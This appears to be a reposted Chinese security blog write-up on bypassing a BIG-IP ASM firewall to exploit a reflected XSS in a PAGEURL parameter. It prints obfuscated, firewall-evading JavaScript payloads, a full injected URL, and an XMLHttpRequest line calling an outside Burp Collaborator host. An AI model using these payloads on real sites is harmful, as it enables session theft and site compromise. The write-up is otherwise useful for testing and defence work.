<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    繞 waf 實戰之 xss 漏洞利用

    VSole2022-07-05 16:28:53

    在一次測試中,遇到一個可以利用 XSS 的點,但是存在 BIG-IP ASM 防火墻,導致無法直接利用,在大神的幫助下完成了利用。隨后經過自己的努力,也找到了一種繞過方式。

    0x01 XSS 漏洞發現

    測試中發現一個接口,參數 PAGEURL 可控,且輸入的內容會原樣響應在返回包中,如圖:

    響應包如圖:

    測試常規 payload 被 WAF 攔截,如圖:

    響應包:

    可以看到被 WAF 攔截。

    0x02 WAF 繞過

    在這個點上測試了一天都沒能繞過,在以為專注 WAF 繞過研究的大神幫助下,發現一個可用的 Payload,長下面的樣子:


    []["\146\151\154\164\145\162”][“\143\157\156\163\164\162\165\143\164\157\162"]("\145\166\141\154\50\141\164\157\142\50\42\131\127\170\154\143\156\121\157\115\123\153\75\42\51\51")()
    

    老實說,長這個樣子的 payload 我也是第一次見,解碼后的內容是:


    []["filter"]["constructor"]("alert(1)")()
    

    接下來使用這個 payload 進行測試,如圖

    響應如圖:

    可以看到 payload 都已經出現在響應包里,但是是否可以執行呢?使用瀏覽器打開這個 URL:


    https://subdomain.redacted.com/...?PAGEURL=/something/";[][“\146\151\154\164\145\162”][“\143\157\156\163\164\162\165\143\164\157\162”](“\145\166\141\154\50\141\164\157\142\50\42\131\127\170\154\143\156\121\157\115\123\153\75\42\51\51”)();var+test="
    

    發現代碼已經執行了,說明 payload 有效。

    漏洞利用

    當然,我們并不會滿足于只是彈窗,接下來如何利用這個漏洞才是重點,首先基于 payload 的生成規則,編寫了一個 Python 腳本,方便構造不同的 payload:

    腳本使用方法,輸入想要注入的 payload 即可:

    XSS 通常用來盜取 cookie,接下來我嘗試使用 XMLHttpRequest API 結合 burp 來進行漏洞利用的驗證,將下面的 payload 進行轉換:

    var req = new XMLHttpRequest(); req.open(“GET”, “https://s2v3f4nqrlg0kl5f2a0zggd37udl1a.burpcollaborator.net/xss",true); req.send(null);
    

    然后將 payload 與 url 進行組合然后請求,查看 burp 的訪問記錄:

    說明 payload 執行成功。

    自我突破,新姿勢

    之前的 payload 是大佬給的,能不能自己實現一個繞過呢?看了一些 waf 繞過的資料后,發現以下 payload 可用:


    a=”al”;b=”ert”;self[a+b]();
    

    嘗試是否可以繞過:

    響應:

    發現 waf 并沒有攔截,嘗試用瀏覽器打開頁面,成功彈窗:

    當然,利用 xss 不僅僅是彈窗,還是需要執行更復雜的功能,我們可以使用 Function 函數,構造的 payload 如下:


    a=”Fun”;b=”ction”;c=”ev”;d=”al(a”;e=”tob”;f=”(‘YWxlcnQoMSk=’))”;self[a+b](c+d+e+f)();
    

    請求之后的返回結果:

    瀏覽器訪問之后執行 payload:

    接下來想要執行更復雜的 payload,只需要修改 base64 編碼部分即可,所以編寫了如下腳本:

    比如之前提到的利用 burp 驗證:

    提交之后返回結果如圖:

    瀏覽器訪問之后,在 burp 得到如下結果:

    值得注意的是,self[""] 被攔截,但是 self[a+b] 沒有。

    總結

    以上是這次針對存在 waf 的 xss 漏洞接口的繞過測試過程,通過一些 JavaScript 的特性,通過字符串變化、編碼等方式組合 payload 從而實現 waf 的繞過,waf 通常是通過正則來進行檢測和攔截,如果你找到了目標 waf 規則之外的方式,那么,恭喜你,waf 對你無用。

    xsswaf
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    在一次測試中,遇到一個可以利用 XSS 的點,但是存在 BIG-IP ASM 防火墻,導致無法直接利用,在大神的幫助下完成了利用。隨后經過自己的努力,也找到了一種繞過方式。0x01 XSS 漏洞發現測試中發現一個接口,參數 PAGEURL 可控,且輸入的內容會原樣響應在返回包中,如圖:響應包如圖:測試常規 payload 被 WAF 攔截,如圖:響應包:可以看到被 WAF 攔截。
    今天室友遇到一個好玩的網站,下面是一些嘗試繞過Waf進行XSS的記錄。首先該網站沒有對左右尖號和單雙引號做任何過濾或轉義。且有未知的waf或者其他阻止惡意訪問的手段。f=1 時候,頁面關鍵源碼為可能是表示登錄次數的一個東西?(猜測) 現在我們知道的信息是參數f會填充到 loginflag這個隱藏框內。嘗試首先做一些基礎的XSS嘗試:script標簽login.asp?但是只要和on事件搭上邊,就觸發了這個waf。https://www.w3schools.com/jsref/dom_obj_event.asp 這里的一些基礎事件都做了嘗試。
    實戰繞過阿里云WAF
    2022-04-25 09:17:37
    原創文章滲透實現滲透技術原創聲明:轉載本文請標注出處和作者,望尊重作者勞動成果!感謝!前言:下面的漏洞挖掘案
    網上安全滲透測試工具整理全集,部分鏈接可能失效,但可以搜索到
    Web Hacking 101 中文版:https://wizardforcel.gitbooks.io/web-hacking-101/content/ 淺入淺出Android安全 中文版:https://wizardforcel.gitbooks.io/asani/content/ Android 滲透測試學習手冊 中文
    在測試漏洞賞金計劃時,我注意到我的html injectionpayload在將其發送到應用程序中反映的每個字段時都有效。然后,我第一次收到彈框的沖動讓我失望了。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类